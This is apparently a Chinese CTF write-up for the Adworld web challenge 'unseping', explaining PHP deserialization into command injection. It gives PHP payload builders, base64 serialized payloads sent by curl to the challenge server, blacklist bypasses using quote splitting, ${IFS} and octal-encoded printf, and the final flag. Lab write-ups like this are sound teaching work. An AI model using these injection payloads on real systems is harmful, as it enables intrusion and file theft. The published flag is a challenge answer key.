• 攻防世界-web-unseping


    1. 题目描述

    打开链接,如下代码

    代码都贴出来了,那么只需要分析代码即可,看是否存在漏洞以及如何利用

    2. 思路分析

    代码很简单,外部只需要接收cft这个参数,然后将这个参数反序列化后赋值给对量的method和args参数,啊UI周内部存在执行命令的函数ping调用exec去执行外部传入的args参数,所以这里明显存在命令注入,关键是__wakeup函数中存在一个waf,waf中对传入的参数有个黑名单限制,但是,对于命令注入这种攻击手法来说,黑名单限制容易绕过,因此我们思路就很清晰了

    2.1 存在命令注入,利用命令注入执行命令

    2.2 尝试绕过waf的限制

    3. 解题过程

    3.1 我们先简单执行下pwd这个命令,证明确实存在命令注入

    1. $str = serialize(new ease("ping", array("pwd")));
    2. print(base64_encode($str));

    我们传入的args是一个数组,这里可以搜下call_user_func_array这个函数的用法

    curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319"

    然后通过curl命令访问,得到结果如下

    说明pwd命令执行成功

    3.2 执行ls命令,尝试绕过黑名单的限制

    这里使用单双引号绕过

    1. $str = serialize(new ease("ping", array('l""s')));
    2. print(base64_encode($str));

    同样执行命令

    curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ=="

    得到结果为:

    刚好找到一个flag_1s_here,经过验证,这是一个目录,这个时候同样执行ls命令,这里flag同样使用单双引号绕过即可,但是空格可以使用${IFS}替换

    1. $str = serialize(new ease("ping", array('l""s${IFS}fla""g_1s_here')));
    2. print(base64_encode($str));

    同样,执行命令

    curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsYSIiZ18xc19oZXJlIjt9fQ=="

    可以看到包含有flag的文件了

    那么接下来就是执行cat flag_1s_here/flag_831b69012c67b35f.php命令获取该文件的内容,这里关键在于/该如何绕过,这里参考网上做法,通过八进制编码绕过(比如a可以表示成\141)

    这里通过python简单转了下

    然后再转成shell执行命令的形式

    1. $str = serialize(new ease("ping", array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')));
    2. print(base64_encode($str));

    最终执行命令

    curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

    得到结果为cyberpeace{443e57942c8c0bf6e2e0193b56f359a4}

    4. 总结

    4.1 这里没有通过burpsuite而是通过执行命令的方式来获取结果,因为我这边使用burpsuite没法正常显示,不清楚原因,有清楚的欢迎评论

    4.2 这里关键在于命令注入各种各样的绕过方式,获益良多

  • 相关阅读:
    Java基础动态初始化二维数组
    JS学习总结
    云原生底座之上,顺丰智慧供应链领跑的秘密
    MySQL数据库-备份
    性能测试常见分类
    vue3: 1.如何利用 effectScope 自己实现一个青铜版pinia 一 state篇
    【C#】RestSharp踩坑日记
    8.11模拟赛总结
    工程项目管理数字化系统建设持续推动施工企业数字化转型行稳致远
    python 实现euler modified变形欧拉法算法
  • 原文地址:https://blog.csdn.net/wuh2333/article/details/134359980